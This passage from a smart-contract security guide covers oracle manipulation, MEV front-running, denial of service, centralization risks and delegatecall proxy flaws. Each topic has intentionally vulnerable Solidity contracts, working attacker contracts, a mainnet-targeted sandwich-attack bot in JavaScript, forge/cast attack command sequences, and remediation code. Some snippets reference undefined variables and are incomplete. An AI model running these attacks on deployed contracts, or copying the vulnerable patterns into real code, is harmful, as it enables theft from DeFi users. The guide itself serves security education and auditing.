collateralToken.transferFrom(msg.sender, address(this), amount);
collateralBalances[msg.sender] += amount;
}
function borrow(uint256 amount) external {
uint256 collateralValue = getCollateralValue(msg.sender);
uint256 maxBorrow = (collateralValue * 100) / COLLATERAL_RATIO;
require(loanBalances[msg.sender] + amount <= maxBorrow, "Insufficient collateral");
loanBalances[msg.sender] += amount;
loanToken.transfer(msg.sender, amount);
}
// VULNERABLE: Can be manipulated via oracle manipulation
function liquidate(address borrower) external {
uint256 collateralValue = getCollateralValue(borrower);
uint256 loanValue = getLoanValue(borrower);
uint256 collateralizationRatio = (collateralValue * 100) / loanValue;
require(collateralizationRatio < LIQUIDATION_THRESHOLD, "Position healthy");
// Liquidator pays off loan and gets collateral at discount
uint256 liquidationAmount = loanBalances[borrower];
uint256 collateralReward = (collateralBalances[borrower] * 110) / 100; // 10% bonus
loanToken.transferFrom(msg.sender, address(this), liquidationAmount);
collateralToken.transfer(msg.sender, collateralReward);
loanBalances[borrower] = 0;
collateralBalances[borrower] = 0;
}
function getCollateralValue(address user) public view returns (uint256) {
uint256 price = oracle.getPrice(address(collateralToken));
return (collateralBalances[user] * price) / 1e18;
}
function getLoanValue(address user) public view returns (uint256) {
uint256 price = oracle.getPrice(address(loanToken));
return (loanBalances[user] * price) / 1e18;
}
}
Oracle Manipulation Attack Contract:
contract OracleManipulationAttacker {
VulnerableLending public immutable lending;
VulnerableOracle public immutable oracle;
ISimplePair public immutable targetPair;
IERC20 public immutable collateralToken;
IERC20 public immutable loanToken;
IERC20 public immutable manipulationToken; // Token used to manipulate price
constructor(
address _lending,
address _oracle,
address _targetPair,
address _collateralToken,
address _loanToken,
address _manipulationToken
) {
lending = VulnerableLending(_lending);
oracle = VulnerableOracle(_oracle);
targetPair = ISimplePair(_targetPair);
collateralToken = IERC20(_collateralToken);
loanToken = IERC20(_loanToken);
manipulationToken = IERC20(_manipulationToken);
}
function executeAttack(address victimBorrower) external {
// Step 1: Check current oracle price
uint256 originalPrice = oracle.getPrice(address(collateralToken));
// Step 2: Manipulate oracle by trading large amounts
uint256 manipulationAmount = manipulationToken.balanceOf(address(this));
manipulationToken.approve(address(targetPair), manipulationAmount);
// Perform large swap to crash collateral token price
(uint112 reserve0, uint112 reserve1) = targetPair.getReserves();
uint256 collateralOut;
if (targetPair.token0() == address(collateralToken)) {
collateralOut = (manipulationAmount * reserve0) / (reserve1 + manipulationAmount);
targetPair.swap(collateralOut, 0, address(this), "");
} else {
collateralOut = (manipulationAmount * reserve1) / (reserve0 + manipulationAmount);
targetPair.swap(0, collateralOut, address(this), "");
}
// Step 3: Check new manipulated price
uint256 manipulatedPrice = oracle.getPrice(address(collateralToken));
require(manipulatedPrice < originalPrice, "Price manipulation failed");
// Step 4: Liquidate the victim at manipulated price
uint256 loanAmount = lending.loanBalances(victimBorrower);
loanToken.approve(address(lending), loanAmount);
lending.liquidate(victimBorrower);
// Step 5: Reverse the manipulation to restore price
uint256 collateralBalance = collateralToken.balanceOf(address(this));
collateralToken.approve(address(targetPair), collateralBalance);
// Swap back to restore price
if (targetPair.token0() == address(collateralToken)) {
targetPair.swap(0, manipulationAmount - 1000, address(this), ""); // Keep some for fees
} else {
targetPair.swap(manipulationAmount - 1000, 0, address(this), "");
}
}
}
Remediation Strategies:
1. Multi-Oracle Aggregation:
contract SecureMultiOracle {
address[] public oracles;
uint256 public constant MAX_DEVIATION = 5; // 5% max deviation
function getAggregatedPrice(address token) external view returns (uint256) {
require(oracles.length >= 3, "Need at least 3 oracles");
uint256[] memory prices = new uint256[](oracles.length);
for (uint256 i = 0; i < oracles.length; i++) {
prices[i] = IPriceOracle(oracles[i]).getPrice(token);
}
// Sort prices and use median
_quickSort(prices, 0, int(prices.length - 1));
uint256 median = prices[prices.length / 2];
// Verify all prices are within acceptable deviation
for (uint256 i = 0; i < prices.length; i++) {
uint256 deviation = prices[i] > median
? ((prices[i] - median) * 100) / median
: ((median - prices[i]) * 100) / median;
require(deviation <= MAX_DEVIATION, "Price deviation too high");
}
return median;
}
function _quickSort(uint256[] memory arr, int left, int right) internal pure {
// QuickSort implementation for price sorting
if (left < right) {
int pivot = _partition(arr, left, right);
_quickSort(arr, left, pivot - 1);
_quickSort(arr, pivot + 1, right);
}
}
function _partition(uint256[] memory arr, int left, int right) internal pure returns (int) {
uint256 pivot = arr[uint(right)];
int i = left - 1;
for (int j = left; j < right; j++) {
if (arr[uint(j)] <= pivot) {
i++;
(arr[uint(i)], arr[uint(j)]) = (arr[uint(j)], arr[uint(i)]);
}
}
(arr[uint(i + 1)], arr[uint(right)]) = (arr[uint(right)], arr[uint(i + 1)]);
return i + 1;
}
}
6. Front-running & MEV Attacks [MEDIUM-HIGH SEVERITY]#
Vulnerability Description: Attackers observe pending transactions in the mempool and submit their own transactions with higher gas fees to execute before or around victim transactions, extracting value.
Detection Patterns:
- Public functions with deterministic profitable outcomes
- DEX trades with high slippage tolerance
- NFT mints or auctions with predictable pricing
- Governance proposals with economic impact
Complete Exploitation Example:
Vulnerable DEX (SimpleDEX.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SimpleDEX {
IERC20 public immutable tokenA;
IERC20 public immutable tokenB;
uint256 public reserveA;
uint256 public reserveB;
event Swap(address indexed user, uint256 amountIn, uint256 amountOut, address tokenIn);
constructor(address _tokenA, address _tokenB) {
tokenA = IERC20(_tokenA);
tokenB = IERC20(_tokenB);
}
function addLiquidity(uint256 amountA, uint256 amountB) external {
tokenA.transferFrom(msg.sender, address(this), amountA);
tokenB.transferFrom(msg.sender, address(this), amountB);
reserveA += amountA;
reserveB += amountB;
}
// VULNERABLE: No slippage protection, predictable execution
function swapAforB(uint256 amountIn) external {
require(amountIn > 0, "Amount must be positive");
uint256 amountOut = getAmountOut(amountIn, reserveA, reserveB);
tokenA.transferFrom(msg.sender, address(this), amountIn);
tokenB.transfer(msg.sender, amountOut);
reserveA += amountIn;
reserveB -= amountOut;
emit Swap(msg.sender, amountIn, amountOut, address(tokenA));
}
function swapBforA(uint256 amountIn) external {
require(amountIn > 0, "Amount must be positive");
uint256 amountOut = getAmountOut(amountIn, reserveB, reserveA);
tokenB.transferFrom(msg.sender, address(this), amountIn);
tokenA.transfer(msg.sender, amountOut);
reserveB += amountIn;
reserveA -= amountOut;
emit Swap(msg.sender, amountIn, amountOut, address(tokenB));
}
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut)
public pure returns (uint256) {
require(amountIn > 0 && reserveIn > 0 && reserveOut > 0, "Invalid amounts");
uint256 amountInWithFee = amountIn * 997; // 0.3% fee
uint256 numerator = amountInWithFee * reserveOut;
uint256 denominator = (reserveIn * 1000) + amountInWithFee;
return numerator / denominator;
}
}
MEV Bot Implementation:
// MEV Bot using ethers.js and Node.js
const { ethers } = require('ethers');
const WebSocket = require('ws');
class MEVBot {
constructor(rpcUrl, privateKey, dexAddress) {
this.provider = new ethers.providers.JsonRpcProvider(rpcUrl);
this.wallet = new ethers.Wallet(privateKey, this.provider);
this.dexContract = new ethers.Contract(dexAddress, DEX_ABI, this.wallet);
// WebSocket for mempool monitoring
this.wsProvider = new ethers.providers.WebSocketProvider('wss://eth-mainnet.ws.alchemyapi.io/v2/YOUR_API_KEY');
}
async startMonitoring() {
console.log('Starting MEV bot...');
// Monitor pending transactions
this.wsProvider.on('pending', async (txHash) => {
try {
const tx = await this.provider.getTransaction(txHash);
if (tx && tx.to && tx.to.toLowerCase() === this.dexContract.address.toLowerCase()) {
await this.analyzePendingTx(tx);
}
} catch (error) {
// Ignore errors from failed transaction fetches
}
});
}
async analyzePendingTx(pendingTx) {
try {
// Decode transaction data
const decodedData = this.dexContract.interface.parseTransaction({
data: pendingTx.data,
value: pendingTx.value
});
if (decodedData.name === 'swapAforB' || decodedData.name === 'swapBforA') {
const amountIn = decodedData.args[0];
const gasPrice = pendingTx.gasPrice;
// Check if this trade is profitable to front-run
const profit = await this.calculateSandwichProfit(decodedData.name, amountIn);
if (profit.isProfiblae) {
await this.executeSandwichAttack(pendingTx, profit);
}
}
} catch (error) {
console.error('Error analyzing pending tx:', error);
}
}
async calculateSandwichProfit(swapFunction, victimAmountIn) {
// Get current reserves
const reserveA = await this.dexContract.reserveA();
const reserveB = await this.dexContract.reserveB();
// Simulate sandwich attack
const frontRunAmount = victimAmountIn.div(10); // Use 10% of victim's amount
let profit = ethers.BigNumber.from(0);
let isProfiblae = false;
if (swapFunction === 'swapAforB') {
// Front-run: buy tokenB (same direction as victim)
const frontRunOut = await this.dexContract.getAmountOut(frontRunAmount, reserveA, reserveB);
// Victim's trade (worse price due to our front-run)
const newReserveA = reserveA.add(frontRunAmount);
const newReserveB = reserveB.sub(frontRunOut);
// Back-run: sell tokenB back
const backRunOut = await this.dexContract.getAmountOut(frontRunOut, newReserveB, newReserveA);
profit = backRunOut.sub(frontRunAmount);
isProfiblae = profit.gt(ethers.utils.parseEther('0.01')); // Minimum 0.01 ETH profit
}
return { isProfiblae, profit, frontRunAmount };
}
async executeSandwichAttack(victimTx, profitData) {
try {
const victimGasPrice = victimTx.gasPrice;
const frontRunGasPrice = victimGasPrice.add(ethers.utils.parseUnits('1', 'gwei'));
const backRunGasPrice = victimGasPrice.sub(ethers.utils.parseUnits('1', 'gwei'));
console.log(`Executing sandwich attack with profit: ${ethers.utils.formatEther(profitData.profit)} ETH`);
// Front-run transaction
const frontRunTx = await this.dexContract.swapAforB(profitData.frontRunAmount, {
gasPrice: frontRunGasPrice,
gasLimit: 200000
});
console.log(`Front-run tx sent: ${frontRunTx.hash}`);
// Wait for victim's transaction to be mined
await this.waitForVictimTx(victimTx.hash);
// Back-run transaction
const tokenBBalance = await this.getTokenBBalance();
const backRunTx = await this.dexContract.swapBforA(tokenBBalance, {
gasPrice: backRunGasPrice,
gasLimit: 200000
});
console.log(`Back-run tx sent: ${backRunTx.hash}`);
} catch (error) {
console.error('Sandwich attack failed:', error);
}
}
async waitForVictimTx(victimTxHash) {
let receipt = null;
let attempts = 0;
const maxAttempts = 20;
while (!receipt && attempts < maxAttempts) {
try {
receipt = await this.provider.getTransactionReceipt(victimTxHash);
if (receipt) {
console.log(`Victim tx mined in block: ${receipt.blockNumber}`);
return receipt;
}
} catch (error) {
// Transaction not yet mined
}
await new Promise(resolve => setTimeout(resolve, 1000)); // Wait 1 second
attempts++;
}
throw new Error('Victim transaction not found');
}
async getTokenBBalance() {
// Assuming we have tokenB contract instance
return await this.tokenBContract.balanceOf(this.wallet.address);
}
}
// Usage
const bot = new MEVBot(
'https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY',
'YOUR_PRIVATE_KEY',
'DEX_CONTRACT_ADDRESS'
);
bot.startMonitoring();
Remediation Strategies:
1. Implement Slippage Protection:
contract SecureDEX {
function swapAforBWithSlippage(
uint256 amountIn,
uint256 minAmountOut,
uint256 deadline
) external {
require(block.timestamp <= deadline, "Transaction expired");
uint256 amountOut = getAmountOut(amountIn, reserveA, reserveB);
require(amountOut >= minAmountOut, "Slippage too high");
// Execute swap
tokenA.transferFrom(msg.sender, address(this), amountIn);
tokenB.transfer(msg.sender, amountOut);
reserveA += amountIn;
reserveB -= amountOut;
}
}
2. Commit-Reveal Scheme:
contract CommitRevealDEX {
struct Commitment {
bytes32 commitment;
uint256 deadline;
bool revealed;
}
mapping(address => Commitment) public commitments;
uint256 public constant REVEAL_PERIOD = 10 minutes;
function commitSwap(bytes32 _commitment) external {
commitments[msg.sender] = Commitment({
commitment: _commitment,
deadline: block.timestamp + REVEAL_PERIOD,
revealed: false
});
}
function revealAndSwap(
uint256 amountIn,
bool isAforB,
uint256 nonce
) external {
Commitment storage commitment = commitments[msg.sender];
require(!commitment.revealed, "Already revealed");
require(block.timestamp <= commitment.deadline, "Reveal period expired");
bytes32 hash = keccak256(abi.encodePacked(amountIn, isAforB, nonce, msg.sender));
require(hash == commitment.commitment, "Invalid reveal");
commitment.revealed = true;
// Execute swap
if (isAforB) {
_swapAforB(amountIn);
} else {
_swapBforA(amountIn);
}
}
}
3. Use Flashbots or Private Mempools:
// Using Flashbots to avoid public mempool
const { FlashbotsBundleProvider } = require('@flashbots/ethers-provider-bundle');
async function sendPrivateTransaction() {
const flashbotsProvider = await FlashbotsBundleProvider.create(
provider,
wallet,
'https://relay.flashbots.net'
);
const transaction = {
to: dexAddress,
data: dexContract.interface.encodeFunctionData('swapAforB', [amountIn]),
gasLimit: 200000,
gasPrice: ethers.utils.parseUnits('20', 'gwei')
};
const bundle = [
{
signer: wallet,
transaction: transaction
}
];
const targetBlockNumber = await provider.getBlockNumber() + 1;
const bundleResponse = await flashbotsProvider.sendBundle(bundle, targetBlockNumber);
console.log('Bundle sent to Flashbots');
}
7. Denial of Service (DoS) Attacks [MEDIUM-HIGH SEVERITY]#
Vulnerability Description: Preventing legitimate users from interacting with contract functions through various mechanisms like gas limit exploitation, external call failures, or state manipulation.
Detection Patterns:
- Unbounded loops over dynamic arrays
- External calls in loops without failure handling
- Functions dependent on external contract states
- Gas-intensive operations without limits
Complete Exploitation Example:
Vulnerable Auction Contract (DoSAuction.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DoSAuction {
address[] public bidders;
mapping(address => uint256) public bids;
address public highestBidder;
uint256 public highestBid;
bool public ended;
event BidPlaced(address bidder, uint256 amount);
event AuctionEnded(address winner, uint256 amount);
function bid() external payable {
require(!ended, "Auction ended");
require(msg.value > highestBid, "Bid too low");
// VULNERABLE: Unbounded array growth
bidders.push(msg.sender);
bids[msg.sender] = msg.value;
highestBidder = msg.sender;
highestBid = msg.value;
emit BidPlaced(msg.sender, msg.value);
}
// VULNERABLE: Unbounded loop + external calls
function endAuction() external {
require(!ended, "Already ended");
// Refund all non-winning bidders
for (uint256 i = 0; i < bidders.length; i++) {
if (bidders[i] != highestBidder) {
// VULNERABLE: External call in loop
(bool success, ) = bidders[i].call{value: bids[bidders[i]]}("");
require(success, "Refund failed"); // DoS if any refund fails
}
}
ended = true;
emit AuctionEnded(highestBidder, highestBid);
}
// VULNERABLE: Anyone can call, potential for griefing
function emergencyRefund() external {
require(ended, "Auction not ended");
for (uint256 i = 0; i < bidders.length; i++) {
address bidder = bidders[i];
if (bidder != highestBidder && bids[bidder] > 0) {
uint256 refundAmount = bids[bidder];
bids[bidder] = 0;
(bool success, ) = bidder.call{value: refundAmount}("");
if (!success) {
// Failed refunds are lost (griefing potential)
emit RefundFailed(bidder, refundAmount);
}
}
}
}
event RefundFailed(address bidder, uint256 amount);
}
DoS Attack Contracts:
1. Gas Limit DoS Attack:
contract GasDoSAttacker {
DoSAuction public immutable auction;
uint256 public constant SPAM_COUNT = 1000;
constructor(address _auction) {
auction = DoSAuction(_auction);
}
function spamAuction() external payable {
require(msg.value >= SPAM_COUNT * 1 gwei, "Need more ETH for spam");
// Create many small bids to fill the bidders array
for (uint256 i = 0; i < SPAM_COUNT; i++) {
// Create minimal bid to add to bidders array
auction.bid{value: 1 gwei}();
}
}
// Prevent receiving refunds to block endAuction
receive() external payable {
revert("I don't accept refunds");
}
}
2. Revert DoS Attack:
contract RevertDoSAttacker {
DoSAuction public immutable auction;
bool public acceptRefunds = false;
constructor(address _auction) {
auction = DoSAuction(_auction);
}
function placeBid() external payable {
auction.bid{value: msg.value}();
}
function enableDoS() external {
acceptRefunds = false; // Reject all refunds
}
function disableDoS() external {
acceptRefunds = true; // Allow refunds
}
receive() external payable {
if (!acceptRefunds) {
revert("DoS activated - no refunds accepted");
}
}
}
Step-by-Step DoS Attack Execution:
- Deploy Vulnerable Auction:
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
src/DoSAuction.sol:DoSAuction
export AUCTION_ADDRESS="0x..."
- Deploy DoS Attacker:
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
src/GasDoSAttacker.sol:GasDoSAttacker $AUCTION_ADDRESS
export DOS_ATTACKER="0x..."
- Execute Gas Limit DoS:
# Spam the auction with many small bids
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$DOS_ATTACKER "spamAuction()" --value 1ether
# Try to end auction (should fail due to gas limit)
cast send --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
$AUCTION_ADDRESS "endAuction()" --gas-limit 10000000
# Check if auction ended
cast call --rpc-url $RPC_URL $AUCTION_ADDRESS "ended()(bool)"
- Execute Revert DoS:
# Deploy revert attacker
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
src/RevertDoSAttacker.sol:RevertDoSAttacker $AUCTION_ADDRESS
export REVERT_ATTACKER="0x..."
# Place a bid
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$REVERT_ATTACKER "placeBid()" --value 0.1ether
# Enable DoS (reject refunds)
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$REVERT_ATTACKER "enableDoS()"
# Try to end auction (should fail due to revert in refund)
cast send --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
$AUCTION_ADDRESS "endAuction()"
Remediation Strategies:
1. Pull over Push Pattern:
contract SecureAuction {
mapping(address => uint256) public pendingReturns;
address public highestBidder;
uint256 public highestBid;
bool public ended;
function bid() external payable {
require(!ended, "Auction ended");
if (highestBid != 0) {
// Add previous high bid to pending returns instead of sending immediately
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdraw() external {
uint256 amount = pendingReturns[msg.sender];
require(amount > 0, "No funds to withdraw");
pendingReturns[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Withdrawal failed");
}
function endAuction() external {
require(!ended, "Already ended");
ended = true;
// No loops, no external calls in critical path
}
}
2. Pagination for Large Operations:
contract PaginatedRefunds {
address[] public bidders;
mapping(address => uint256) public bids;
uint256 public refundIndex;
bool public ended;
function processRefunds(uint256 batchSize) external {
require(ended, "Auction not ended");
require(refundIndex < bidders.length, "All refunds processed");
uint256 endIndex = refundIndex + batchSize;
if (endIndex > bidders.length) {
endIndex = bidders.length;
}
for (uint256 i = refundIndex; i < endIndex; i++) {
address bidder = bidders[i];
if (bidder != highestBidder && bids[bidder] > 0) {
uint256 refundAmount = bids[bidder];
bids[bidder] = 0;
(bool success, ) = bidder.call{value: refundAmount}("");
if (!success) {
// Failed refunds go to pendingReturns for manual withdrawal
pendingReturns[bidder] += refundAmount;
}
}
}
refundIndex = endIndex;
}
}
3. Circuit Breakers and Limits:
contract LimitedAuction {
address[] public bidders;
uint256 public constant MAX_BIDDERS = 100;
uint256 public constant MAX_GAS_PER_REFUND = 2300;
function bid() external payable {
require(bidders.length < MAX_BIDDERS, "Too many bidders");
require(!ended, "Auction ended");
bidders.push(msg.sender);
// ... rest of bid logic
}
function safeRefund(address bidder, uint256 amount) internal {
(bool success, ) = bidder.call{gas: MAX_GAS_PER_REFUND, value: amount}("");
if (!success) {
// Add to pending returns for manual withdrawal
pendingReturns[bidder] += amount;
}
}
}
8. Centralization & Ownership Risks [HIGH SEVERITY]#
Vulnerability Description: Excessive power concentrated in single entities (owners, admins) or flawed ownership transfer mechanisms that can lead to loss of control or malicious takeover.
Detection Patterns:
- Single EOA controlling critical functions
- Missing or inadequate multi-signature requirements
- Flawed ownership transfer without confirmation
- Admin keys stored in hot wallets
Complete Exploitation Example:
Vulnerable Governance Token (CentralizedToken.sol):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract CentralizedToken is ERC20 {
address public owner;
address public minter;
bool public paused = false;
mapping(address => bool) public blacklisted;
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
modifier onlyMinter() {
require(msg.sender == minter, "Not minter");
_;
}
modifier notPaused() {
require(!paused, "Contract paused");
_;
}
constructor() ERC20("Centralized Token", "CENT") {
owner = msg.sender;
minter = msg.sender;
_mint(msg.sender, 1000000 * 10**18);
}
// VULNERABLE: Single point of failure
function transferOwnership(address newOwner) external onlyOwner {
owner = newOwner; // No confirmation required
}
// VULNERABLE: Owner can freeze anyone's funds
function blacklistAddress(address target) external onlyOwner {
blacklisted[target] = true;
}
function removeBlacklist(address target) external onlyOwner {
blacklisted[target] = false;
}
// VULNERABLE: Owner can pause entire contract
function pause() external onlyOwner {
paused = true;
}
function unpause() external onlyOwner {
paused = false;
}
// VULNERABLE: Unlimited minting power
function mint(address to, uint256 amount) external onlyMinter {
_mint(to, amount);
}
function setMinter(address newMinter) external onlyOwner {
minter = newMinter;
}
// Overrides to enforce blacklist and pause
function transfer(address to, uint256 amount) public override notPaused returns (bool) {
require(!blacklisted[msg.sender] && !blacklisted[to], "Address blacklisted");
return super.transfer(to, amount);
}
function transferFrom(address from, address to, uint256 amount) public override notPaused returns (bool) {
require(!blacklisted[from] && !blacklisted[to], "Address blacklisted");
return super.transferFrom(from, to, amount);
}
// VULNERABLE: Owner can drain contract
function emergencyWithdraw() external onlyOwner {
payable(owner).transfer(address(this).balance);
}
}
Exploitation Scenarios:
1. Accidental Ownership Loss:
# Owner accidentally transfers ownership to wrong address
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
$TOKEN_ADDRESS "transferOwnership(address)" 0x0000000000000000000000000000000000000000
# Contract is now unmanageable
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "owner()(address)"
# Returns: 0x0000000000000000000000000000000000000000
2. Malicious Owner Exploitation:
# Malicious owner blacklists large holders
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
$TOKEN_ADDRESS "blacklistAddress(address)" $WHALE_ADDRESS
# Malicious owner mints infinite tokens
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
$TOKEN_ADDRESS "mint(address,uint256)" $OWNER_ADDRESS 1000000000000000000000000
# Malicious owner pauses contract during market crash
cast send --rpc-url $RPC_URL --private-key $OWNER_KEY \
$TOKEN_ADDRESS "pause()"
3. Social Engineering Attack on Owner:
// Phishing contract that tricks owner into transferring ownership
contract PhishingContract {
CentralizedToken public immutable target;
constructor(address _target) {
target = CentralizedToken(_target);
}
// Disguised as a legitimate upgrade function
function upgradeContract() external {
// If called by owner, this secretly transfers ownership
if (msg.sender == target.owner()) {
target.transferOwnership(address(this));
}
}
// Now attacker controls the token
function maliciousAction() external {
target.mint(msg.sender, 1000000 * 10**18);
target.pause();
}
}
Remediation Strategies:
1. Multi-Signature Wallets:
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
contract MultiSigControlled {
address public multiSigWallet;
modifier onlyMultiSig() {
require(msg.sender == multiSigWallet, "Only multisig");
_;
}
constructor(address _multiSigWallet) {
multiSigWallet = _multiSigWallet;
}
function criticalFunction() external onlyMultiSig {
// Critical operations require multiple signatures
}
}
2. Two-Step Ownership Transfer:
import "@openzeppelin/contracts/access/Ownable2Step.sol";
contract SecureToken is Ownable2Step {
function criticalFunction() external onlyOwner {
// Function logic
}
// Ownership transfer now requires acceptOwnership() from new owner
}
3. Role-Based Access Control:
import "@openzeppelin/contracts/access/AccessControl.sol";
contract RoleBasedToken is AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant BLACKLISTER_ROLE = keccak256("BLACKLISTER_ROLE");
constructor() {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(MINTER_ROLE, msg.sender);
_grantRole(PAUSER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external onlyRole(MINTER_ROLE) {
_mint(to, amount);
}
function pause() external onlyRole(PAUSER_ROLE) {
_pause();
}
function blacklistAddress(address target) external onlyRole(BLACKLISTER_ROLE) {
blacklisted[target] = true;
}
}
4. Timelock for Critical Operations:
import "@openzeppelin/contracts/governance/TimelockController.sol";
contract TimelockControlled {
TimelockController public immutable timelock;
constructor(address _timelock) {
timelock = TimelockController(payable(_timelock));
}
modifier onlyTimelock() {
require(msg.sender == address(timelock), "Only timelock");
_;
}
function criticalFunction() external onlyTimelock {
// Critical operations have built-in delay
}
}
9. Delegatecall Vulnerabilities [CRITICAL SEVERITY]#
Vulnerability Description: Misuse of delegatecall
leading to storage collision, unintended state changes, or complete contract takeover. Particularly dangerous in proxy patterns where implementation contracts can manipulate proxy storage.
Detection Patterns:
- Use of
delegatecall
without proper storage layout management - Proxy contracts with unprotected initialization
- Implementation contracts without storage collision protection
- Missing access controls on proxy upgrade functions
Complete Exploitation Example:
Vulnerable Proxy System:
SimpleProxy.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleProxy {
// Storage slot 0
address public implementation;
// Storage slot 1
address public admin;
// Storage slot 2
uint256 public version;
constructor(address _implementation, address _admin) {
implementation = _implementation;
admin = _admin;
version = 1;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Not admin");
_;
}
function upgrade(address newImplementation) external onlyAdmin {
implementation = newImplementation;
version++;
}
fallback() external payable {
address impl = implementation;
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
receive() external payable {}
}
VulnerableImplementation.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableImplementation {
// DANGEROUS: Storage layout doesn't match proxy
// Storage slot 0 - collides with proxy's implementation
address public owner;
// Storage slot 1 - collides with proxy's admin
uint256 public balance;
// Storage slot 2 - collides with proxy's version
bool public initialized;
mapping(address => uint256) public userBalances;
// VULNERABLE: No initialization protection
function initialize(address _owner) external {
owner = _owner;
initialized = true;
}
function deposit() external payable {
userBalances[msg.sender] += msg.value;
balance += msg.value;
}
function withdraw(uint256 amount) external {
require(userBalances[msg.sender] >= amount, "Insufficient balance");
userBalances[msg.sender] -= amount;
balance -= amount;
payable(msg.sender).transfer(amount);
}
function adminWithdraw() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
// VULNERABLE: Can be called by anyone to change storage
function changeOwner(address newOwner) external {
require(initialized, "Not initialized");
owner = newOwner;
}
}
MaliciousImplementation.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MaliciousImplementation {
// Deliberately matching proxy storage layout
address public implementation; // slot 0
address public admin; // slot 1
uint256 public version; // slot 2
// MALICIOUS: Function to change proxy admin
function takeoverProxy() external {
admin = msg.sender; // Overwrites proxy's admin
}
// MALICIOUS: Drain all funds
function drainFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
// MALICIOUS: Self-destruct the proxy
function destroyProxy() external {
selfdestruct(payable(msg.sender));
}
// Disguise as normal function to trick admin
function normalFunction() external {
takeoverProxy();
drainFunds();
}
}
Complete Attack Scenario:
1. Storage Collision Attack:
# Deploy proxy system
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
src/VulnerableImplementation.sol:VulnerableImplementation
export IMPL_ADDRESS="0x..."
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
src/SimpleProxy.sol:SimpleProxy $IMPL_ADDRESS $DEPLOYER_ADDR
export PROXY_ADDRESS="0x..."
# Initialize through proxy (this will overwrite proxy storage!)
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$PROXY_ADDRESS "initialize(address)" $ATTACKER_ADDR
# Check if attacker is now the proxy admin (storage collision)
cast call --rpc-url $RPC_URL $PROXY_ADDRESS "admin()(address)"
# Should show attacker's address instead of deployer's
2. Implementation Replacement Attack:
# Deploy malicious implementation
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
src/MaliciousImplementation.sol:MaliciousImplementation
export MALICIOUS_IMPL="0x..."
# If attacker gained admin rights, upgrade to malicious implementation
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$PROXY_ADDRESS "upgrade(address)" $MALICIOUS_IMPL
# Now execute malicious functions through proxy
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
$PROXY_ADDRESS "drainFunds()"
3. Direct Storage Manipulation:
contract StorageManipulationAttack {
SimpleProxy public proxy;
constructor(address _proxy) {
proxy = SimpleProxy(_proxy);
}
function executeAttack() external {
// Call implementation function that overwrites proxy storage
bytes memory data = abi.encodeWithSignature("changeOwner(address)", msg.sender);
(bool success,) = address(proxy).call(data);
require(success, "Attack failed");
// Now we control the proxy admin slot
// We can upgrade to malicious implementation
}
}
Remediation Strategies:
1. Proper Storage Layout Management:
// Use storage slots that don't conflict
contract SecureImplementation {
// Reserve proxy storage slots
bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
bytes32 private constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
// Implementation storage starts after reserved slots
mapping(address => uint256) public userBalances;
uint256 public totalSupply;
function initialize(address _admin) external {
require(!_initialized(), "Already initialized");
_setAdmin(_admin);
_setInitialized();
}
function _initialized() internal view returns (bool) {
return StorageSlot.getBooleanSlot(keccak256("implementation.initialized")).value;
}
function _setInitialized() internal {
StorageSlot.getBooleanSlot(keccak256("implementation.initialized")).value = true;
}
}
2. Use OpenZeppelin’s Upgradeable Contracts:
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
contract SecureUpgradeableToken is Initializable, OwnableUpgradeable {
mapping(address => uint256) public balances;
uint256 public totalSupply;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize(address _owner) public initializer {
__Ownable_init();
_transferOwnership(_owner);
}
